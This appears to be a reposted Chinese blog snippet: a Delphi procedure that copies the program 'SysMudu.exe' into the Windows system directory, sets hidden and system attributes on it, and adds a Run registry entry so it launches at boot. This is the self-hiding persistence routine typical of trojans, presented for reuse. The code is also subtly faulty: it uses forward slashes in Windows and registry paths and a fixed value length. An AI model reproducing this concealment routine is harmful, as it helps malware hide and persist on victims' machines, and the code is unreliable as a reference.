自我复制到系统目录中,并写注册表,使程序开机自动运行

来源:互联网 发布:手机淘宝首页打不开? 编辑:程序博客网 时间:2024/05/16 14:39

procedure TForm1.CopyNWriteRegestry;
var Path:array [0..255] of char;
    Hk:HKEY;
    SysStr,CurStr:string;
begin
//以下是自我复制,首先判断该程序是否存在,再决定是否进行复制
    GetSystemDirectory(Path,255);
    SysStr:=StrPas(Path);
    CurStr:=GetCurrentDir;
    CopyFile(pchar(CurStr+'/SysMudu.exe'),pchar(SysStr+'/SysMudu.exe'),True);
    SetFileAttributes(pchar(SysStr+'/SysMudu.exe'),
    FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//以下是写注册表,使开机自动运行
    RegOpenKey(HKEY_LOCAL_MACHINE,
    'Software/Microsoft/Windows/CurrentVersion/Run',Hk);
    RegSetValueEx(Hk,'SysMudu',0,REG_SZ,PChar(SysStr+'/sysMudu.exe'),50);
end;

原创粉丝点击